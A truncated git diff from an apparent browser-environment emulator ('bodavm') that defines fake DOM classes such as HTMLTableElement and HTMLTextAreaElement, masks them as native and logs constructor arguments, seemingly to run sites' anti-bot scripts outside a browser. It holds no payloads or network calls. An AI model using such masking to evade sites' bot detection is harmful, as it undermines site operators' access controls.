bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellPadding", { + configurable: true, + enumerable: true, + get: function cellPadding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_get", arguments); + }, + set: function cellPadding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellSpacing", { + configurable: true, + enumerable: true, + get: function cellSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_get", arguments); + }, + set: function cellSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createCaption", { + configurable: true, + enumerable: true, + writable: true, + value: function createCaption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createCaption", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTBody", { + configurable: true, + enumerable: true, + writable: true, + value: function createTBody() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTBody", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTFoot", { + configurable: true, + enumerable: true, + writable: true, + value: function createTFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTFoot", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTHead", { + configurable: true, + enumerable: true, + writable: true, + value: function createTHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTHead", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteCaption", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteCaption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteCaption", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteRow", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteRow", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTFoot", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTFoot", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTHead", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTHead", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "insertRow", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "insertRow", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTableRowElement.js b/env_xbb_lastest_jsdom/env/HTMLTableRowElement.js index 4f20b532..6447da47 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTableRowElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTableRowElement.js @@ -1,15 +1,109 @@ -// HTMLTableRowElement对象 -bodavm.memory.globalobj['HTMLTableRowElement'] = function HTMLTableRowElement(){if (!(this instanceof HTMLTableRowElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableRowElement'], "HTMLTableRowElement"); -bodavm.memory.globalobj['HTMLTableRowElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableRowElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "rowIndex", {configurable:true, enumerable:true, get:function rowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "rowIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "sectionRowIndex", {configurable:true, enumerable:true, get:function sectionRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "sectionRowIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "cells", {configurable:true, enumerable:true, get:function cells (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "cells_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "deleteCell", {configurable:true, enumerable:true, writable:true, value:function deleteCell (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "deleteCell", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "insertCell", {configurable:true, enumerable:true, writable:true, value:function insertCell (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "insertCell", arguments)}},'prototype'); +// HTMLTableRowElement对象 + +bodavm.memory.globalobj['HTMLTableRowElement'] = function HTMLTableRowElement() { + console.log_copy('HTMLTableRowElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableRowElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableRowElement'], "HTMLTableRowElement"); +bodavm.memory.globalobj['HTMLTableRowElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableRowElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "rowIndex", { + configurable: true, + enumerable: true, + get: function rowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "rowIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "sectionRowIndex", { + configurable: true, + enumerable: true, + get: function sectionRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "sectionRowIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "cells", { + configurable: true, + enumerable: true, + get: function cells() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "cells_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "deleteCell", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteCell() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "deleteCell", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "insertCell", { + configurable: true, + enumerable: true, + writable: true, + value: function insertCell() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "insertCell", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTableSectionElement.js b/env_xbb_lastest_jsdom/env/HTMLTableSectionElement.js index fe694040..d3dcef48 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTableSectionElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTableSectionElement.js @@ -1,12 +1,83 @@ -// HTMLTableSectionElement对象 -bodavm.memory.globalobj['HTMLTableSectionElement'] = function HTMLTableSectionElement(){if (!(this instanceof HTMLTableSectionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableSectionElement'], "HTMLTableSectionElement"); -bodavm.memory.globalobj['HTMLTableSectionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableSectionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "rows_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "deleteRow", {configurable:true, enumerable:true, writable:true, value:function deleteRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "deleteRow", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "insertRow", {configurable:true, enumerable:true, writable:true, value:function insertRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "insertRow", arguments)}},'prototype'); +// HTMLTableSectionElement对象 + +bodavm.memory.globalobj['HTMLTableSectionElement'] = function HTMLTableSectionElement() { + console.log_copy('HTMLTableSectionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableSectionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableSectionElement'], "HTMLTableSectionElement"); +bodavm.memory.globalobj['HTMLTableSectionElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableSectionElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "rows_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "deleteRow", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "deleteRow", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "insertRow", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "insertRow", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTemplateElement.js b/env_xbb_lastest_jsdom/env/HTMLTemplateElement.js index a9dbadd0..7527fac6 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTemplateElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTemplateElement.js @@ -1,8 +1,45 @@ -// HTMLTemplateElement对象 -bodavm.memory.globalobj['HTMLTemplateElement'] = function HTMLTemplateElement(){if (!(this instanceof HTMLTemplateElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTemplateElement'], "HTMLTemplateElement"); -bodavm.memory.globalobj['HTMLTemplateElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTemplateElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "content", {configurable:true, enumerable:true, get:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "content_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRoot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRootMode", {configurable:true, enumerable:true, get:function shadowRootMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_get", arguments)}, set:function shadowRootMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_set", arguments)}},'prototype'); +// HTMLTemplateElement对象 + +bodavm.memory.globalobj['HTMLTemplateElement'] = function HTMLTemplateElement() { + console.log_copy('HTMLTemplateElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTemplateElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTemplateElement'], "HTMLTemplateElement"); +bodavm.memory.globalobj['HTMLTemplateElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTemplateElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "content", { + configurable: true, + enumerable: true, + get: function content() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "content_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRoot", { + configurable: true, + enumerable: true, + get: function shadowRoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRoot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRootMode", { + configurable: true, + enumerable: true, + get: function shadowRootMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_get", arguments); + }, + set: function shadowRootMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTextAreaElement.js b/env_xbb_lastest_jsdom/env/HTMLTextAreaElement.js index 8b04894e..ff5caf5b 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTextAreaElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTextAreaElement.js @@ -1,35 +1,293 @@ -// HTMLTextAreaElement对象 -bodavm.memory.globalobj['HTMLTextAreaElement'] = function HTMLTextAreaElement(){if (!(this instanceof HTMLTextAreaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTextAreaElement'], "HTMLTextAreaElement"); -bodavm.memory.globalobj['HTMLTextAreaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTextAreaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "cols", {configurable:true, enumerable:true, get:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_get", arguments)}, set:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "dirName", {configurable:true, enumerable:true, get:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_get", arguments)}, set:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "maxLength", {configurable:true, enumerable:true, get:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_get", arguments)}, set:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "minLength", {configurable:true, enumerable:true, get:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_get", arguments)}, set:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "placeholder", {configurable:true, enumerable:true, get:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_get", arguments)}, set:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "readOnly", {configurable:true, enumerable:true, get:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_get", arguments)}, set:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, 